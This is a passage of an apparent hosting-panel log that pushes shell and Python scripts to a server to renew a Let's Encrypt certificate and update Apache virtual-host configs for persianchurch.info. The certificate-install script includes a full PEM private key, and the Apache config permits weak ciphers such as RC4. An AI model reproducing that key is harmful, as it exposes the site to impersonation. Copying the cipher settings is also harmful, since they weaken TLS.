echo ok
2025-10-18 13:32:12:
chmod 755 /tmp/pkp406697; /tmp/pkp406697; rm /tmp/pkp406697
2025-10-18 13:32:12:
ok
2025-10-18 13:32:12:
PUT: /tmp/pkp309955
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 13:32:12:
chmod 755 /tmp/pkp309955; /tmp/pkp309955; rm /tmp/pkp309955
2025-10-18 13:32:12:
ok
2025-10-18 13:32:12:
PUT: /tmp/pkp819209
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 13:32:12:
chmod 755 /tmp/pkp819209; /tmp/pkp819209; rm /tmp/pkp819209
2025-10-18 13:32:12:
ok
2025-10-18 13:32:12:
PUT: /tmp/pkp896347
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 13:32:12:
chmod 755 /tmp/pkp896347; /tmp/pkp896347; rm /tmp/pkp896347
2025-10-18 13:32:12:
ok
2025-10-18 13:32:12:
PUT: /tmp/pkp984302
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 13:32:12:
chmod 755 /tmp/pkp984302; /tmp/pkp984302; rm /tmp/pkp984302
2025-10-18 13:32:12:
ok
2025-10-18 13:32:13:
PUT: /tmp/pkp904265
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:32:13:
chmod 755 /tmp/pkp904265; /tmp/pkp904265; rm /tmp/pkp904265
2025-10-18 13:32:13:
ok
2025-10-18 13:32:13:
PUT: /tmp/pkp922410
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 13:32:13:
chmod 755 /tmp/pkp922410; /tmp/pkp922410; rm /tmp/pkp922410
2025-10-18 13:32:13:
ok
2025-10-19 06:00:03: Establishing a connection
2025-10-19 06:00:04: Establishing a connection
2025-10-19 06:00:05:
PUT: /tmp/pkp918637
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-19 06:00:06:
chmod 755 /tmp/pkp918637; /tmp/pkp918637; rm /tmp/pkp918637
2025-10-19 06:00:06:
0
2025-10-20 06:00:03: Establishing a connection
2025-10-20 06:00:04: Establishing a connection
2025-10-20 06:00:05:
PUT: /tmp/pkp479998
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-20 06:00:06:
chmod 755 /tmp/pkp479998; /tmp/pkp479998; rm /tmp/pkp479998
2025-10-20 06:00:06:
0
2025-10-21 06:00:03: Establishing a connection
2025-10-21 06:00:04: Establishing a connection
2025-10-21 06:00:05:
PUT: /tmp/pkp668617
#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-21 06:00:07:
chmod 755 /tmp/pkp668617; /tmp/pkp668617; rm /tmp/pkp668617
2025-10-21 06:00:07:
1
2025-10-21 06:00:08: Establishing a connection
2025-10-21 06:00:09:
PUT: /tmp/pkp340154
#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs
cat > RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4
2025-10-21 06:00:10:
chmod 755 /tmp/pkp340154; /tmp/pkp340154; rm /tmp/pkp340154
2025-10-21 06:00:10:
2025-10-21 06:00:22: Establishing a connection
2025-10-21 06:00:23:
PUT: /tmp/pkp866872
#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs
rm RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4
2025-10-21 06:00:24:
chmod 755 /tmp/pkp866872; /tmp/pkp866872; rm /tmp/pkp866872
2025-10-21 06:00:25:
2025-10-21 06:00:25: Establishing a connection
2025-10-21 06:00:26:
PUT: /tmp/pkp132901
#!/bin/bash
temp_file=$(mktemp)
TARGET=66fe979384f486c79f8519a848115361.crt
cat > $temp_file <<'endmsg'
06:5e:8e:db:09:9c:4d:9b:9e:bb:2b:73:4f:13:8d:fa
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkS+2Ly9bJ/pnBkC+zwBRRT0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMTUwWhcNMjYwMTE5MDUwMTQ5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC6ocsqx8VVS7ZLows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT
+xCe2EAUrt1aXKrgT0vjBnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/p
g/mWxJN+RY/Jhr2duGacdhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWP
ctT64MpNCrrfn2a7qjF3CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5
C8qtAOe1DZRIBhknw47pIRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX
+hDfjpiBZjeXOFQDfoJ/g8+YmUErAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFF/B/5sGB11zK1IJ/nqN4BecMkvlMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmgVariAAAAQDAEYwRAIgCY4Dv7IIWjkutYjES8UvfRDS
EWZwMlwHdZv/hLv27OcCIHBvFTn/KNmqLVhWE7iLgAwHEBmNWtdbV23D6NmFkfmE
AHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaBVq16QAABAMA
SDBGAiEAmwXzujlnGY34eCmLaXwp70Lkt7WLNMVs2C0a7a9vZVMCIQCvl48S/O3d
v03kP8u8KVTL/FqlL6m1GzTtvNvp6FBWIzANBgkqhkiG9w0BAQsFAAOCAQEAVgj0
FJxbpR8jV3JYr2ooJrwHIbKaL9pfVe6ae/DGKLvhpqts+jV/ofyhyyGz9XF4Bg+c
/xAGOQJX8qKMmyY4gKuqacL0vapmKIoXRPyBgCsE7c7SazQ6xJ5ZZuxYKvYE1+ov
OxuPn2Q9Va3wg8h9hqpSbbokozwLmGqmLQf7AJ2gFJ3lsTJPW/r6Yv291xQEexcX
On7d7z2+YjFyZguv3CA2fD2Jo0y0qboo5IJDudAP96zuvRQjdYu80nkoAA0ngwag
7FgLrx+CeYQZLntTzwWZz+AvZfPPWGqqaOa8dtLNTIo+VjjGrTo0M0Qk2Ixwmrv6
kRiC/T3CxMUdkQjOVw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC6ocsqx8VVS7ZL
ows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT+xCe2EAUrt1aXKrgT0vj
BnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/pg/mWxJN+RY/Jhr2duGac
dhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWPctT64MpNCrrfn2a7qjF3
CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5C8qtAOe1DZRIBhknw47p
IRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX+hDfjpiBZjeXOFQDfoJ/
g8+YmUErAgMBAAECggEBAKUA4rUiBi+RTsy0i/svtfOKMhaRU3UHTUKrJwlpxpzK
1okMQN/fQf7rRT+UG2+01YLzzzRS9ah3syo2zK2M72KdSyVL7+DzbDGxYEQnAR0Z
KNPX9FjnqQDDhUpZqlNH3Pco3SVZgU9udxohsiYhYGzGx3kV5e7wzgaSzaKJiTvn
lsQKZElC9p6fI1usS1NRYjclLdtvRVUmcChGFivwSVaP6uiBXC39bfYbNo+TV1WK
flLQhrJWHKe+tPvtFlpAELxenMVU6UFX3JUsinltvxHUXHtNIIyCmyQNIRq3qOg+
tCe/90PlNZeGggXHG58XP+cQ303e9ZBrh+a8oTspq2ECgYEA5uV30LGFhtQPFKdT
8QcTZpjp/YtvG32TOpsNGK0Lkn3ZMc6MIqJKYvOhEpvv/0oDMhNlGk/KbHrRh9Xe
KQAw3TxG0mM4Gkl0DW43HrH8MGm8yLCbnBrXEqefJmScNV0OeKwEd06+CUbn5o0V
lOSGoLL2lLWJ/4Vw2PseAFkfz0kCgYEAzuxRLB0HVSw/N/+wXm+LX+bQ9///wsnk
SlxAeMzcqUqZbqmDi6j426f1dvUtc2vTbv4SahyhbQ0P3Aey6PqkW600rW3JzfUq
W5gEHAQU42KvzV7SqHjixnGnbHK7OLn3ucI/2YpylLKtOb9GxkR8BWwDOHYUJVOJ
WBslDC0OKNMCgYEAkys3j0FXRnTrl9J/YmWMLBzTJ9Qz4WXM7dHeKxhBBAJK6cAo
+fpPR3rZ866I7kMSflx2WKr67uHpo5bhn2iLvLeqvHaZT8f5vIW/hEUV5RXASnqm
9Hz3EODeQ+5k0m6Zxrh9sD30Sp1zOjQ6yUhPtyXanTaI2uEG6IZGvRoReGECgYBo
hvQSRq+3lNxym1Uqv0o2rdCOFuHKMlaCQcvHuiUV17teLX9oA3mC7HuRFhVZovRx
syL2O3RINDr4uWLlUgfIz9w2Z6lzww8cqdQZmu46V1XbdrUPqdFU0YDzxZlR9I9x
ZPEAIXH0L7ZV34wPB/Vmf8O4t91BZcuRmFTEq9XlRQKBgBszFdfy+AFDkHMRu61c
lJgiRlETTfEBVrbM9idRB9Lj90U28URMewJb0RvRJxgDWlC1mUqpI1T0hCTHoCFG
AelOH+j7xYdQSIScqWFGdnxcPqMBxtu9YxZLl55ATT9uzvl5LCRQAACcSI3tG5TK
TsSiy3QaCcIV1CqitL54dokJ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-21 06:00:27:
chmod 755 /tmp/pkp132901; /tmp/pkp132901; rm /tmp/pkp132901
2025-10-21 06:00:27:
dir=/etc/ssl/certs
2025-10-21 06:00:27:
PUT: /tmp/pkp498939
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-21 06:00:27:
chmod 755 /tmp/pkp498939; /tmp/pkp498939; rm /tmp/pkp498939
2025-10-21 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:28:
PUT: /tmp/pkp285201
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi
2025-10-21 06:00:28:
chmod 755 /tmp/pkp285201; /tmp/pkp285201; rm /tmp/pkp285201
2025-10-21 06:00:28:
2025-10-21 06:00:28:
PUT: /tmp/pkp520617
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-21 06:00:29:
chmod 755 /tmp/pkp520617; /tmp/pkp520617; rm /tmp/pkp520617
2025-10-21 06:00:29:
.
2025-10-21 06:00:29: Establishing a connection
2025-10-21 06:00:31:
PUT: /tmp/pkp643908
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-21 06:00:32:
chmod 755 /tmp/pkp643908; /tmp/pkp643908; rm /tmp/pkp643908
2025-10-21 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-21 06:00:32:
PUT: /tmp/pkp438825
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/persianchurch_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:32:
chmod 755 /tmp/pkp438825; /tmp/pkp438825; rm /tmp/pkp438825
2025-10-21 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 1429
<VirtualHost *:80>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName persianchurch.info
ServerAlias www.persianchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
DocumentRoot /var/www/persianchurch_www
<Directory /var/www/persianchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/persianchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/persianchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:33:
PUT: /tmp/pkp537984
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:33:
chmod 755 /tmp/pkp537984; /tmp/pkp537984; rm /tmp/pkp537984
2025-10-21 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt 5393
06:5e:8e:db:09:9c:4d:9b:9e:bb:2b:73:4f:13:8d:fa
-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkS+2Ly9bJ/pnBkC+zwBRRT0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMTUwWhcNMjYwMTE5MDUwMTQ5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC6ocsqx8VVS7ZLows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT
+xCe2EAUrt1aXKrgT0vjBnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/p
g/mWxJN+RY/Jhr2duGacdhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWP
ctT64MpNCrrfn2a7qjF3CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5
C8qtAOe1DZRIBhknw47pIRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX
+hDfjpiBZjeXOFQDfoJ/g8+YmUErAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFF/B/5sGB11zK1IJ/nqN4BecMkvlMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmgVariAAAAQDAEYwRAIgCY4Dv7IIWjkutYjES8UvfRDS
EWZwMlwHdZv/hLv27OcCIHBvFTn/KNmqLVhWE7iLgAwHEBmNWtdbV23D6NmFkfmE
AHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaBVq16QAABAMA
SDBGAiEAmwXzujlnGY34eCmLaXwp70Lkt7WLNMVs2C0a7a9vZVMCIQCvl48S/O3d
v03kP8u8KVTL/FqlL6m1GzTtvNvp6FBWIzANBgkqhkiG9w0BAQsFAAOCAQEAVgj0
FJxbpR8jV3JYr2ooJrwHIbKaL9pfVe6ae/DGKLvhpqts+jV/ofyhyyGz9XF4Bg+c
/xAGOQJX8qKMmyY4gKuqacL0vapmKIoXRPyBgCsE7c7SazQ6xJ5ZZuxYKvYE1+ov
